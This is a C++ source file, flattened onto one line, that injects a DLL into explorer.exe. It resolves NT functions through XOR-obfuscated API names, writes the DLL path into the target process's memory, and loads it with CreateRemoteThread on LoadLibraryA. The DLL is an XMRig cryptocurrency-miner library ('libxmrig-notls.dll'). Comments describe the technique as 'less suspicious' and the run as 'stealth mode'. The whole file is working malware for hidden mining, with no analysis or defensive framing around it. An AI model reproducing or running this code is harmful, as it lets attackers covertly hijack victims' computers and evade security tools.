#include #include #include #include #include // Typedefs (same) typedef NTSTATUS (NTAPI* NtOpenProcess_t)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PCLIENT_ID); typedef NTSTATUS (NTAPI* NtAllocateVirtualMemory_t)(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG); typedef NTSTATUS (NTAPI* NtWriteVirtualMemory_t)(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T); // XOR helpers (same) const BYTE XOR_KEY = 0xAA; std::string XORObfuscate(const std::string& str) { std::string out = str; for (char& c : out) c ^= XOR_KEY; return out; } std::string XORDeobfuscate(const std::string& str) { return XORObfuscate(str); } // Obfuscated strings (runtime decrypt) std::string GetObfString(const std::string& obf) { return XORDeobfuscate(obf); } // PID finder (same) DWORD FindProcessId(const std::wstring& processName) { DWORD pid = 0; HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot != INVALID_HANDLE_VALUE) { PROCESSENTRY32W pe32 = { sizeof(PROCESSENTRY32W) }; if (Process32FirstW(hSnapshot, &pe32)) { do { if (processName == pe32.szExeFile) { pid = pe32.th32ProcessID; break; } } while (Process32NextW(hSnapshot, &pe32)); } CloseHandle(hSnapshot); } return pid; } // Helper to print NTSTATUS as hex + Win32 error void PrintError(const char* op, NTSTATUS status) { DWORD err = GetLastError(); std::cerr << op << " failed with NTSTATUS 0x" << std::hex << status << " (Win32: " << std::dec << err << ")\n"; } // Simplified InjectDLL (CreateRemoteThread, no Enum, XOR strings) bool InjectDLL(DWORD pid, const std::string& dllPathObf) { // Obfuscated API names (hash or XOR; here XOR for simplicity) std::string obfNtOpen = XORObfuscate("NtOpenProcess"); std::string obfNtAlloc = XORObfuscate("NtAllocateVirtualMemory"); std::string obfNtWrite = XORObfuscate("NtWriteVirtualMemory"); HMODULE hNtdll = GetModuleHandleA(GetObfString(XORObfuscate("ntdll.dll")).c_str()); if (!hNtdll) { std::cerr << "ntdll load failed\n"; return false; } NtOpenProcess_t pNtOpen = (NtOpenProcess_t)GetProcAddress(hNtdll, GetObfString(obfNtOpen).c_str()); NtAllocateVirtualMemory_t pNtAlloc = (NtAllocateVirtualMemory_t)GetProcAddress(hNtdll, GetObfString(obfNtAlloc).c_str()); NtWriteVirtualMemory_t pNtWrite = (NtWriteVirtualMemory_t)GetProcAddress(hNtdll, GetObfString(obfNtWrite).c_str()); if (!pNtOpen || !pNtAlloc || !pNtWrite) { std::cerr << "NT APIs resolve failed\n"; return false; } // Deobfuscate DLL path std::string dllPath = XORDeobfuscate(dllPathObf); SIZE_T dllPathSize = dllPath.size() + 1; // Step 1: Open process HANDLE hProcess = NULL; OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES) }; CLIENT_ID cid = { (HANDLE)(ULONG_PTR)pid, NULL }; NTSTATUS status = pNtOpen(&hProcess, PROCESS_ALL_ACCESS, &oa, &cid); if (status != 0) { PrintError("NtOpenProcess", status); return false; } if (!hProcess) { std::cerr << "NtOpenProcess returned NULL handle\n"; return false; } // Step 2: Alloc/write DLL path PVOID pRemoteDllPath = NULL; SIZE_T regionSize = dllPathSize; status = pNtAlloc(hProcess, &pRemoteDllPath, 0, ®ionSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); if (status != 0) { PrintError("NtAllocateVirtualMemory (DLL path)", status); CloseHandle(hProcess); return false; } SIZE_T bytesWritten = 0; status = pNtWrite(hProcess, pRemoteDllPath, (PVOID)dllPath.c_str(), dllPathSize, &bytesWritten); if (status != 0 || bytesWritten != dllPathSize) { PrintError("NtWriteVirtualMemory (DLL path)", status); regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, ®ionSize, MEM_RELEASE, 0); CloseHandle(hProcess); return false; } // Step 3: CreateRemoteThread on LoadLibraryA (less suspicious than NtCreate) HMODULE hKernel32 = GetModuleHandleA(GetObfString(XORObfuscate("kernel32.dll")).c_str()); LPTHREAD_START_ROUTINE pLoadLibrary = (LPTHREAD_START_ROUTINE)GetProcAddress(hKernel32, GetObfString(XORObfuscate("LoadLibraryA")).c_str()); if (!pLoadLibrary) { std::cerr << "LoadLibraryA resolve failed\n"; regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, ®ionSize, MEM_RELEASE, 0); CloseHandle(hProcess); return false; } HANDLE hLoadThread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibrary, pRemoteDllPath, 0, NULL); if (!hLoadThread) { std::cerr << "CreateRemoteThread failed: " << GetLastError() << "\n"; regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, ®ionSize, MEM_RELEASE, 0); CloseHandle(hProcess); return false; } WaitForSingleObject(hLoadThread, INFINITE); DWORD loadExitCode = 0; GetExitCodeThread(hLoadThread, &loadExitCode); std::cout << "LoadLibrary thread exited with 0x" << std::hex << loadExitCode << " (DLL base if !=0)\n"; CloseHandle(hLoadThread); // Double-load hLoadThread = CreateRemoteThread(hProcess, NULL, 0, pLoadLibrary, pRemoteDllPath, 0, NULL); if (hLoadThread) { WaitForSingleObject(hLoadThread, INFINITE); CloseHandle(hLoadThread); } // Cleanup DLL path mem regionSize = 0; pNtAlloc(hProcess, &pRemoteDllPath, 0, ®ionSize, MEM_RELEASE, 0); CloseHandle(hProcess); return true; } int main() { std::wstring targetName = L"explorer.exe"; DWORD pid = FindProcessId(targetName); if (pid == 0) { std::cerr << "Target process not found!\n"; return 1; } std::string dllPathPlain = "C:\\Users\\MyWindowsUser\\Downloads\\test_on_windows\\libxmrig-notls.dll"; std::string dllPathObf = XORObfuscate(dllPathPlain); if (InjectDLL(pid, dllPathObf)) { std::cout << "DLL injected into PID " << pid << " (stealth mode)!\n"; Sleep(5000); } else { std::cerr << "Injection failed!\n"; return 1; } return 0; }